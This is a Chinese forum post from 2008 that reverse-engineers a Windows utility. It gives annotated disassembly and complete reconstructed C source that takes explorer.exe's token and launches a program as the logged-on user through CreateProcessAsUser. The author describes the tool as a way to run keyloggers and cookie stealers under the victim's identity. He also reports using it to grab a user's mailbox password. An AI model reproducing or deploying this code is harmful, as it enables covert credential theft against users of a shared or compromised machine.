免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3709 | 回复: 1
打印 上一主题 下一主题

逆向CreateProcessAsLongonUser.exe [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-06-29 22:54 |只看该作者 |倒序浏览
这个小程序的作用是在ADMI权限下以其它低权限的用户的身份运行程序,比如键盘记录,COOKIES获取等。。\r\n脱壳后,OD看了下,程序开始处写的很有意思:\r\n\r\n/*4011E8*/  PUSH ESI  //用户输入的参数合法跳这里\r\n/*4011E9*/  MOV ESI,DWORD PTR SS:[ESP+C]  //argv[1]\r\n/*4011ED*/  MOV EAX,DWORD PTR DS:[ESI+4]  //数据,用户输入的第一个参数,这里通过偏移取的内存地址,又是编译器干的好事\r\n/*4011F0*/  PUSH 0\r\n/*4011F2*/  PUSH 10000080\r\n/*4011F7*/  PUSH 3\r\n/*4011F9*/  PUSH 0\r\n/*4011FB*/  PUSH 1\r\n/*4011FD*/  PUSH 80000000\r\n/*401202*/  PUSH EAX\r\n/*401203*/  CALL DWORD PTR DS:[<&kernel32.CreateFileA>]\r\n/*401209*/  CMP EAX,-1  //作者通过CreateFile来判断文件存在与否,这种思路还是第一次见..-_-#\r\n/*40120C*/  JE SHORT CreatePr.0040123B  //关闭句柄\r\n/*40120E*/  PUSH EAX\r\n/*40120F*/  CALL DWORD PTR DS:[<&kernel32.CloseHandle>]\r\n\r\n感觉这是一个比较不错的思路,在某些特殊环境下是很有用的。\r\n\r\n下面看看它是如何以其它用户运行进程的.下面贴的代码顺序基本等同于程序逻辑\r\n\r\n/*401140*/  PUSH CreatePr.0040712C\r\n/*401145*/  PUSH EAX\r\n/*401146*/  MOV DWORD PTR SS:[ESP+64],0  //申请的空间置空\r\n/*40114E*/  CALL CreatePr.00401000  //搜索子函数\r\n跳到子函数00401000处, 说白了这个子函数的功能就是搜索当前进程中的explorer.exe,\r\n并用OpenProcessToken API取得它的句柄\r\n/*401024*/  PUSH EDI\r\n/*401025*/  PUSH EAX\r\n/*401026*/  MOV DWORD PTR SS:[ESP+C],EAX  //---\r\n/*40102A*/  MOV ECX,49\r\n/*40102F*/  LEA EDI,DWORD PTR SS:[ESP+10]  //CreateToolhelp32Snapshot 所用到的HANDLE句柄\r\n/*401033*/  PUSH 2\r\n/*401035*/  REP STOS DWORD PTR ES:[EDI]  //初始化EDI,用0填充,下面的创建系统快照,在快照中包含系统中所有的进程\r\n/*401037*/  CALL <JMP.&kernel32.CreateToolhelp32Snapshot>\r\n/*40103C*/  MOV EDI,EAX\r\n/*40103E*/  CMP EDI,-1  //判断返回的句柄\r\n/*401041*/  JNZ SHORT CreatePr.0040105A\r\n/*401043*/  POP EDI  //out...\r\n/*401044*/  XOR EAX,EAX\r\n/*401046*/  POP EBP\r\n/*401047*/  MOV ECX,DWORD PTR SS:[ESP+128]\r\n/*40104E*/  CALL CreatePr.004013A0\r\n/*401053*/  ADD ESP,12C\r\n/*401059*/  RETN\r\n/*40105A*/  PUSH EBX\r\n/*40105B*/  PUSH ESI\r\n/*40105C*/  LEA EAX,DWORD PTR SS:[ESP+10]  //CreateToolhelp32Snapshot 返回的句柄送入,准备压入堆栈\r\n/*401060*/  PUSH EAX\r\n/*401061*/  PUSH EDI\r\n/*401062*/  MOV DWORD PTR SS:[ESP+18],128\r\n/*40106A*/  CALL <JMP.&kernel32.Process32First>\r\n/*40106F*/  TEST EAX,EAX\r\n/*401071*/  JE CreatePr.00401101  //成功返回的话进入下面的循环枚举进程\r\n/*401077*/  PUSH EBP  //\"explorer.exe\"\r\n/*401078*/  CALL CreatePr.00401274  //这个子函数判断进程名是否\"explorer.exe\"\r\n/*40107D*/  LEA ECX,DWORD PTR SS:[ESP+38]   \r\n/*401081*/  PUSH ECX\r\n/*401082*/  MOV ESI,EAX\r\n/*401084*/  CALL CreatePr.00401274\r\n/*401089*/  ADD ESP,8\r\n/*40108C*/  LEA ESP,DWORD PTR SS:[ESP]\r\n/*401090*/  MOV DL,BYTE PTR DS:[EAX]\r\n/*401092*/  MOV BL,BYTE PTR DS:[ESI]\r\n/*401094*/  MOV CL,DL\r\n/*401096*/  CMP DL,BL\r\n/*401098*/  JNZ SHORT CreatePr.004010B8\r\n/*40109A*/  TEST CL,CL\r\n/*40109C*/  JE SHORT CreatePr.004010B4\r\n/*40109E*/  MOV DL,BYTE PTR DS:[EAX+1]\r\n/*4010A1*/  MOV BL,BYTE PTR DS:[ESI+1]\r\n/*4010A4*/  MOV CL,DL\r\n/*4010A6*/  CMP DL,BL\r\n/*4010A8*/  JNZ SHORT CreatePr.004010B8\r\n/*4010AA*/  ADD EAX,2\r\n/*4010AD*/  ADD ESI,2\r\n/*4010B0*/  TEST CL,CL\r\n/*4010B2*/  JNZ SHORT CreatePr.00401090\r\n/*4010B4*/  XOR EAX,EAX\r\n/*4010B6*/  JMP SHORT CreatePr.004010BD\r\n/*4010B8*/  SBB EAX,EAX\r\n/*4010BA*/  SBB EAX,-1\r\n/*4010BD*/  TEST EAX,EAX\r\n/*4010BF*/  JE SHORT CreatePr.004010D7\r\n/*4010C1*/  LEA EAX,DWORD PTR SS:[ESP+10]\r\n/*4010C5*/  PUSH EAX\r\n/*4010C6*/  PUSH EDI\r\n/*4010C7*/  CALL <JMP.&kernel32.Process32Next>\r\n/*4010CC*/  TEST EAX,EAX\r\n/*4010CE*/  JNZ SHORT CreatePr.00401077\r\n/*4010D0*/  MOV ESI,1\r\n/*4010D5*/  JMP SHORT CreatePr.00401103\r\n/*4010D7*/  MOV ECX,DWORD PTR SS:[ESP+18]\r\n/*4010DB*/  PUSH ECX  //当前进程的PID\r\n/*4010DC*/  PUSH 0\r\n/*4010DE*/  PUSH 400\r\n/*4010E3*/  CALL DWORD PTR DS:[<&kernel32.OpenProcess>]\r\n/*4010E9*/  MOV EDX,DWORD PTR SS:[ESP+140]  //token 句柄\r\n/*4010F0*/  PUSH EDX\r\n/*4010F1*/  PUSH 0F01FF\r\n/*4010F6*/  PUSH EAX\r\n/*4010F7*/  CALL DWORD PTR DS:[<&ADVAPI32.OpenProcessToken>] // 原来要用到它...\r\n/*4010FD*/  MOV ESI,EAX\r\n/*4010FF*/  JMP SHORT CreatePr.00401103\r\n/*401101*/  XOR ESI,ESI\r\n/*401103*/  PUSH EDI\r\n/*401104*/  CALL DWORD PTR DS:[<&kernel32.CloseHandle>]\r\n/*40110A*/  MOV EAX,ESI\r\n/*40110C*/  POP ESI\r\n/*40110D*/  POP EBX\r\n/*40110E*/  POP EDI\r\n/*40110F*/  MOV ECX,DWORD PTR SS:[ESP+12C]  //参数为空直接OUT。。\r\n/*401116*/  POP EBP\r\n/*401117*/  CALL CreatePr.004013A0\r\n/*40111C*/  ADD ESP,12C\r\n/*401122*/  RETN\r\n\r\n00401000返回后的处理:\r\n/*401161*/  PUSH EDI\r\n/*401162*/  XOR EAX,EAX\r\n/*401164*/  MOV ECX,10\r\n/*401169*/  LEA EDI,DWORD PTR SS:[ESP+1C]  //进程结构PROCESS_INFORMATION ..等的一些初始化动作\r\n/*40116D*/  REP STOS DWORD PTR ES:[EDI]\r\n/*40116F*/  LEA ECX,DWORD PTR SS:[ESP+8]\r\n/*401173*/  PUSH ECX\r\n/*401174*/  LEA EDX,DWORD PTR SS:[ESP+1C]\r\n/*401178*/  PUSH EDX\r\n/*401179*/  PUSH EAX\r\n/*40117A*/  PUSH EAX\r\n/*40117B*/  PUSH 8000000\r\n/*401180*/  PUSH EAX\r\n/*401181*/  PUSH EAX\r\n/*401182*/  PUSH EAX\r\n/*401183*/  PUSH EAX\r\n/*401184*/  MOV EAX,DWORD PTR SS:[ESP+84]\r\n/*40118B*/  PUSH ESI\r\n/*40118C*/  PUSH EAX\r\n/*40118D*/  MOV DWORD PTR SS:[ESP+44],44\r\n/*401195*/  MOV DWORD PTR SS:[ESP+4C],CreatePr.0040711C\r\n/*40119D*/  CALL DWORD PTR DS:[<&ADVAPI32.CreateProcessAsUserA>] // CreateProcessAsUserA 这个是很重要D一个。起了大作用,API的具体参数我也不是特别清楚每个的意思,有心人可以查查手册,我还原的时候反正是抄它的.\r\n/*4011A3*/  MOV ECX,DWORD PTR SS:[ESP+60]\r\n/*4011A7*/  PUSH ECX\r\n/*4011A8*/  MOV ESI,EAX\r\n/*4011AA*/  CALL DWORD PTR DS:[<&kernel32.CloseHandle>]\r\n/*4011B0*/  POP EDI\r\n/*4011B1*/  MOV EAX,ESI\r\n/*4011B3*/  POP ESI\r\n/*4011B4*/  ADD ESP,54\r\n/*4011B7*/  RETN\r\n\r\n\r\n好啦,基本逆完啦,下面给出完整还原代码:
  1. // by M80\r\n// email:x90x20@126.com \r\n// HOME : http://80dnst.com/\r\n#include <stdio.h>\r\n#include <windows.h>\r\n#include <tlhelp32.h> \r\n#define _pr printf\r\n#define _SHELL \"Explorer.exe\"\r\nint sub_00401000(HANDLE &hToken)\r\n{\r\nPROCESSENTRY32 pe32 = {0};\r\nHANDLE hSnapshot = NULL ;\r\nBOOL bRet = FALSE ;\r\npe32.dwSize = sizeof(PROCESSENTRY32); \r\nhSnapshot = CreateToolhelp32Snapshot(0x00000002,0);\r\nif ( !hSnapshot) {\r\n  #ifdef _DEBUG\r\n  _pr(\"CreateToolhelp32Snapshot() failure : %d\\n\",GetLastError() );\r\n  #endif // _DEBUG\r\n  return FALSE ;\r\n}\r\n\r\n    if ( Process32First( hSnapshot, &pe32 ) )  {\r\n        do {  \r\n   if ( stricmp(pe32.szExeFile ,_SHELL ) == 0 ) { \r\n    HANDLE hProcess = OpenProcess(0x400,FALSE,pe32.th32ProcessID);\r\n    if (!hProcess)\r\n    {\r\n     #ifdef _DEBUG\r\n     _pr(\"OpenProcess() failure : %d\\n\",GetLastError() );\r\n     #endif // _DEBUG\r\n    }\r\n    bRet = OpenProcessToken(hProcess,0x0f01ff,&hToken);  \r\n    if (!bRet) {\r\n     #ifdef _DEBUG\r\n     _pr(\"OpenProcessToken() failure : %d\\n\",GetLastError() );\r\n     #endif // _DEBUG\r\n    }\r\n    CloseHandle(hProcess);\r\n    break ;\r\n   }\r\n  } while( Process32Next( hSnapshot, &pe32 ) );\r\n    } \r\n    CloseHandle(hSnapshot);\r\nreturn bRet ;\r\n}\r\n// 原子函数是为__cdecl格式\r\nint __stdcall sub_00401130(char * pchName){  \r\nHANDLE hToken ;\r\nSTARTUPINFO si;\r\nPROCESS_INFORMATION pi; \r\nZeroMemory(&si, sizeof(STARTUPINFO));\r\nsi.cb= sizeof(STARTUPINFO);\r\nsi.lpDesktop = TEXT(\"winsta0\\\\default\");\r\nif (!*pchName) \r\n  return FALSE ; \r\nif (!sub_00401000(hToken)){\r\n  #ifdef _DEBUG\r\n  _pr(\"sub_00401000() failure : %d\\n\",GetLastError() );\r\n     #endif // _DEBUG\r\n  return FALSE ;\r\n}\r\nif( !CreateProcessAsUser(hToken,\r\n  pchName,\r\n  NULL,\r\n  NULL,\r\n  NULL,\r\n  FALSE,\r\n  0x8000000, \r\n  NULL,\r\n  NULL,\r\n  &si,\r\n  &pi)){\r\n  #ifdef _DEBUG\r\n  _pr(\"CreateProcessAsUser() failure : %d\\n\",GetLastError() );\r\n     #endif // _DEBUG\r\n  CloseHandle(hToken); \r\n  return FALSE ;\r\n}\r\n    CloseHandle(hToken); \r\nreturn TRUE ;\r\n}\r\nint main(int argc ,char** argv){\r\nif (argc!=2) {\r\n  printf(\"\\r\\nCreateProcessAsLongonUser 1.0 made by M80(Pirate..-_-#)\\r\\n\\r\\n\");\r\n  printf(\"Usage: %s [FileName]\\r\\n\",argv[0]);\r\n  return 0 ;\r\n}\r\nHANDLE handle =  CreateFile(\r\n  argv[1],\r\n  0x80000000,\r\n  0x1,\r\n  0x0,\r\n  0x3,\r\n  0x10000080,\r\n  NULL);\r\nif (!handle){ \r\n        #ifdef _DEBUG\r\n  _pr(\"CreateFile() failure : %d\\n\",GetLastError() );\r\n     #endif // _DEBUG\r\n  return 0 ;\r\n}\r\nCloseHandle(handle); \r\nsub_00401130(argv[1]);\r\nreturn 0 ;\r\n}
复制代码
xp#sp2 测试通过,和原程序有着同样的效果,ADMIN权限下创建一个获得USER 用户的邮箱密码的工具,成功获取到。\r\n2k没测试,可能需要提升为DEBUG权限,原程序我是没看到它提升过权限,暂时这样吧.

论坛徽章:
0
2 [报告]
发表于 2024-03-27 09:01 |只看该作者
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP